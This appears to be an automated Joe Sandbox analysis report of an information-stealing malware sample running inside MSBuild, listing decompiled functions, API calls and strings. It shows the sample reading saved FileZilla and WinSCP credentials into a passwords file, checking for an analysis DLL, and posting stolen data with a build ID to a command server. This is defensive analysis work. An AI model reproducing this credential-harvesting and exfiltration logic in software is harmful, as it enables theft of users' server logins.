Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 51a8186674da40b627bafe0667fb054b0b372cb9ea4a64be279c17a6e1cb1c3a
Instruction ID: a2d0142ef4c2f8337792e91bc85231d42bd55b383edadc254ac7c872ecc74bf6
Opcode Fuzzy Hash: 51a8186674da40b627bafe0667fb054b0b372cb9ea4a64be279c17a6e1cb1c3a
Instruction Fuzzy Hash: 33D05EB6200208BBD7449BD5EC8DF8E7BBCEB85725F100265FA46D2290DAF099488B34

Function 00410FBA Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00410FD4
wsprintfA.USER32 ref: 00410FEC

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 998f64295720f10c821e057b3243b12a1334f63cbf789cdccd19e786a3f5f674
Instruction ID: 6ece5ee49d11cdb060b7bdfc3a79890b10628a8e35908506f9dd9848dd200c5c
Opcode Fuzzy Hash: 998f64295720f10c821e057b3243b12a1334f63cbf789cdccd19e786a3f5f674
Instruction Fuzzy Hash: 63E092B1D1020DABCF04DF60EC459DE77FCEB08308F0054B5A505E3180D674AB888F44

Function 004014AD Relevance: 1.3, APIs: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(?,?,?,?,?,?,00401503,avghookx.dll,00418654), ref: 004014DF

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction ID: b529297655fd12c0b63a16027a5c7bdef515ed443d31e096b8a78f326fd23762
Opcode Fuzzy Hash: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction Fuzzy Hash: C1F08C32A00150EBCF20CF59D804AAAFBB8EB43760F257065E809B3260C334ED11EA9C

Function 00405482 Relevance: 72.3, APIs: 25, Strings: 16, Instructions: 573
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

lstrlenA.KERNEL32(?), ref: 00405519

Part of subcall function 00411E5D: CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?,00000000,0065E908,?,?,?,004128A1,?,?,00000000), ref: 00411E7D
Part of subcall function 00411E5D: GetProcessHeap.KERNEL32(00000000,?,?,?,?,004128A1,?,?,00000000), ref: 00411E8A
Part of subcall function 00411E5D: RtlAllocateHeap.NTDLL(00000000,?,?,?,004128A1,?,?,00000000), ref: 00411E91

StrCmpCA.SHLWAPI(?,00436986,0043697B,0043697A,0043696F), ref: 00405588
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004055AA
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004056C0
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00405704
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405736

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

lstrlenA.KERNEL32(?,",file_data,00437850,------,00437844,?,",00437838,------,0043782C,566ac7bdeaf763bbaf70aa6d5667c804,",build_id,00437814,------), ref: 00405C67
lstrlenA.KERNEL32(?), ref: 00405C7A
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00405C92
HeapAlloc.KERNEL32(00000000), ref: 00405C99
lstrlenA.KERNEL32(?), ref: 00405CA6
_memmove.LIBCMT ref: 00405CB4
lstrlenA.KERNEL32(?,?,?), ref: 00405CC9
_memmove.LIBCMT ref: 00405CD6
lstrlenA.KERNEL32(?), ref: 00405CE4
lstrlenA.KERNEL32(?,?,00000000), ref: 00405CF2
_memmove.LIBCMT ref: 00405D05
lstrlenA.KERNEL32(?,?,00000000), ref: 00405D1A
HttpSendRequestA.WININET(?,?,00000000), ref: 00405D2D
HttpQueryInfoA.WININET(?,00000013,?,?,00000000), ref: 00405D6F
InternetReadFile.WININET(?,?,000007CF,?), ref: 00405E26
StrCmpCA.SHLWAPI(?,block), ref: 00405E3B
ExitProcess.KERNEL32 ref: 00405E46

Strings

block, xrefs: 00405E30
------, xrefs: 0040573C
", xrefs: 00405AD8
------, xrefs: 00405B5D
file_data, xrefs: 00405C09
ERROR, xrefs: 00405F2F
", xrefs: 0040597B
ERROR, xrefs: 00405D79
------, xrefs: 004059FF
--, xrefs: 00405600
build_id, xrefs: 0040594F
566ac7bdeaf763bbaf70aa6d5667c804, xrefs: 004059A7
------, xrefs: 00405605
", xrefs: 00405C35
", xrefs: 0040581B
------, xrefs: 0040589D

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen$Internetlstrcpy$Heap$HttpProcess_memmove$OpenRequestlstrcat$AllocAllocateBinaryConnectCrackCryptExitFileInfoOptionQueryReadSendString
String ID: ------$"$"$"$"$--$------$------$------$------$566ac7bdeaf763bbaf70aa6d5667c804$ERROR$ERROR$block$build_id$file_data
API String ID: 215681420-762780105
Opcode ID: 35c61566c60d4d54ae4f038d4b709f28b1f5466e58086f1b9e98f1c11160a1dd
Instruction ID: 4baf88cb2a5c47609fe6293a48fe3edcdf17a13d7b96339157f3ca2814525fa3
Opcode Fuzzy Hash: 35c61566c60d4d54ae4f038d4b709f28b1f5466e58086f1b9e98f1c11160a1dd
Instruction Fuzzy Hash: 8F42E671D401699BDF21FB21DC45ADDB3B9BF04308F0085E6A548B3152DAB86FCA9F98

Function 0040E6CF Relevance: 70.3, APIs: 30, Strings: 10, Instructions: 289
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

strtok_s.MSVCRT ref: 0040E77E
GetProcessHeap.KERNEL32(00000000,000F423F,00436912,0043690F,0043690E,0043690D), ref: 0040E7C4
HeapAlloc.KERNEL32(00000000), ref: 0040E7CB
StrStrA.SHLWAPI(00000000,<Host>), ref: 0040E7DF
lstrlenA.KERNEL32(00000000), ref: 0040E7EA
StrStrA.SHLWAPI(00000000,<Port>), ref: 0040E81E
lstrlenA.KERNEL32(00000000), ref: 0040E829
StrStrA.SHLWAPI(00000000,<User>), ref: 0040E857
lstrlenA.KERNEL32(00000000), ref: 0040E862
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 0040E890
lstrlenA.KERNEL32(00000000), ref: 0040E89B
lstrlenA.KERNEL32(?), ref: 0040E901
lstrlenA.KERNEL32(?), ref: 0040E915
lstrlenA.KERNEL32(0040ECBC), ref: 0040EA3D

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

Strings

Login: , xrefs: 0040E98C
passwords.txt, xrefs: 0040EA4D
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 0040E71F
<User>, xrefs: 0040E851
<Host>, xrefs: 0040E7D9
<Port>, xrefs: 0040E818
Soft: FileZilla, xrefs: 0040E948
<Pass encoding="base64">, xrefs: 0040E88A
Password: , xrefs: 0040E9AE
Host: , xrefs: 0040E954

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$AllocFile$CreateHeapLocallstrcat$CloseFolderHandleObjectPathProcessReadSingleSizeThreadWaitstrtok_s
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$Host: $Login: $Password: $Soft: FileZilla$\AppData\Roaming\FileZilla\recentservers.xml$passwords.txt
API String ID: 4146028692-935134978
Opcode ID: 615d63f7bf2d45f6f47d8fedcf3be5491d61456915c6e85213d9bd40bf3d1580
Instruction ID: 14048a2b419fde31a88832429adc402d622cfb8f20e2d9bcd7eb6ceae992149e
Opcode Fuzzy Hash: 615d63f7bf2d45f6f47d8fedcf3be5491d61456915c6e85213d9bd40bf3d1580
Instruction Fuzzy Hash: E5A18572A40219BBCF01FBA1DD4AADD7775AF08305F105426F501F30A1EBB9AE498F99

Function 00406BB5 Relevance: 63.6, APIs: 20, Strings: 16, Instructions: 598
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00406C54
StrCmpCA.SHLWAPI(?), ref: 00406C72
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406E0A
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00406E4E
lstrlenA.KERNEL32(?,",status,00437998,------,0043798C,",task_id,00437978,------,0043796C,",mode,00437958,------,0043794C), ref: 0040753C
lstrlenA.KERNEL32(?), ref: 0040754B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00407556
HeapAlloc.KERNEL32(00000000), ref: 0040755D
lstrlenA.KERNEL32(?), ref: 0040756A
_memmove.LIBCMT ref: 00407578
lstrlenA.KERNEL32(?), ref: 00407586
lstrlenA.KERNEL32(?,?,00000000), ref: 00407594
_memmove.LIBCMT ref: 004075A1
lstrlenA.KERNEL32(?,?,00000000), ref: 004075B6
HttpSendRequestA.WININET(00000000,?,00000000), ref: 004075C4
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00407621
InternetCloseHandle.WININET(00000000), ref: 0040762C
InternetCloseHandle.WININET(?), ref: 00407638
InternetCloseHandle.WININET(?), ref: 00407644
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406E7C

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Strings

------, xrefs: 00406CFC
build_id, xrefs: 00407095
", xrefs: 004074DD
------, xrefs: 00406FE3
", xrefs: 004070C1
------, xrefs: 004073FF
task_id, xrefs: 00407351
566ac7bdeaf763bbaf70aa6d5667c804, xrefs: 004070ED
------, xrefs: 00406E82
------, xrefs: 0040729F
", xrefs: 0040721D
", xrefs: 00406F61
", xrefs: 0040737D
------, xrefs: 00407145
mode, xrefs: 004071F1
status, xrefs: 004074B1

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internetlstrlen$lstrcpy$CloseHandle$HeapHttpOpenRequest_memmovelstrcat$AllocConnectCrackFileOptionProcessReadSend
String ID: "$"$"$"$"$------$------$------$------$------$------$566ac7bdeaf763bbaf70aa6d5667c804$build_id$mode$status$task_id
API String ID: 3702379033-3180709460
Opcode ID: c793aeecd545ee641a2a8adfff4ed13e874b461d4c663d960c75efdd339cb0f9
Instruction ID: 42b782e3d86a9350796fa24ab104a47fbd96201bae2466775e008d32658e9246
Opcode Fuzzy Hash: c793aeecd545ee641a2a8adfff4ed13e874b461d4c663d960c75efdd339cb0f9
Instruction Fuzzy Hash: 5052897194016D9ACF61EB62CD46BCCB3B5AF04308F4184E7A51D73161DA746FCA8FA8

Function 0040E186 Relevance: 56.3, APIs: 18, Strings: 14, Instructions: 325
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040E1B7
_memset.LIBCMT ref: 0040E1D7
_memset.LIBCMT ref: 0040E1E8
_memset.LIBCMT ref: 0040E1F9
RegOpenKeyExA.KERNEL32(80000001,Software\Martin Prikryl\WinSCP 2\Configuration,00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E22D
RegGetValueA.ADVAPI32(?,Security,UseMasterPassword,00000010,00000000,?,?), ref: 0040E25E
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E276
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E29D
RegOpenKeyExA.ADVAPI32(80000001,Software\Martin Prikryl\WinSCP 2\Sessions,00000000,00000009,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E2BD
RegEnumKeyExA.ADVAPI32(?,00000000,?,00000104,00000000,00000000,00000000,00000000), ref: 0040E2E0
RegGetValueA.ADVAPI32(?,?,HostName,00000002,00000000,?,?,Host: ,Soft: WinSCP,004368E7), ref: 0040E379
RegGetValueA.ADVAPI32(?,?,PortNumber,0000FFFF,00000000,?,?,?), ref: 0040E3D9

Strings

Password, xrefs: 0040E515
UserName, xrefs: 0040E496
Software\Martin Prikryl\WinSCP 2\Sessions, xrefs: 0040E2B3
Login: , xrefs: 0040E459
passwords.txt, xrefs: 0040E662
Software\Martin Prikryl\WinSCP 2\Configuration, xrefs: 0040E20B
Password: , xrefs: 0040E529
PortNumber, xrefs: 0040E3BD
:22, xrefs: 0040E42D
Security, xrefs: 0040E253
UseMasterPassword, xrefs: 0040E24E
Soft: WinSCP, xrefs: 0040E2FE
Host: , xrefs: 0040E32A
HostName, xrefs: 0040E367

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: _memset$Value$CloseOpen$Enum
String ID: Login: $:22$Host: $HostName$Password$Password: $PortNumber$Security$Soft: WinSCP$Software\Martin Prikryl\WinSCP 2\Configuration$Software\Martin Prikryl\WinSCP 2\Sessions$UseMasterPassword$UserName$passwords.txt
API String ID: 463713726-2798830873
Opcode ID: 4eaab8354fff006c774e5a3a11a8fc4062ced311967a4d7608afb3132e7bbd75
Instruction ID: ab712d79911a6534e16ca2c8d51643d97c9570b95301d2e418567ee179d90524
Opcode Fuzzy Hash: 4eaab8354fff006c774e5a3a11a8fc4062ced311967a4d7608afb3132e7bbd75
Instruction Fuzzy Hash: 56D1D6B195012DAADF21EB91DC42BD9B778AF04308F5018EBA508B3151DA747FC9CFA5

Function 00405F39 Relevance: 53.0, APIs: 20, Strings: 10, Instructions: 466
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00405FD8
StrCmpCA.SHLWAPI(?), ref: 00405FF6
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040618E
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 004061D2
lstrlenA.KERNEL32(?,",mode,004378D8,------,004378CC,566ac7bdeaf763bbaf70aa6d5667c804,",build_id,004378B4,------,004378A8,",0043789C,------), ref: 004065FD
lstrlenA.KERNEL32(?), ref: 0040660C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00406617
HeapAlloc.KERNEL32(00000000), ref: 0040661E
lstrlenA.KERNEL32(?), ref: 0040662B
_memmove.LIBCMT ref: 00406639
lstrlenA.KERNEL32(?), ref: 00406647
lstrlenA.KERNEL32(?,?,00000000), ref: 00406655
_memmove.LIBCMT ref: 00406662
lstrlenA.KERNEL32(?,?,00000000), ref: 00406677
HttpSendRequestA.WININET(00000000,?,00000000), ref: 00406685
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 004066E2
InternetCloseHandle.WININET(00000000), ref: 004066ED
InternetCloseHandle.WININET(?), ref: 004066F9
InternetCloseHandle.WININET(?), ref: 00406705
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406200

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

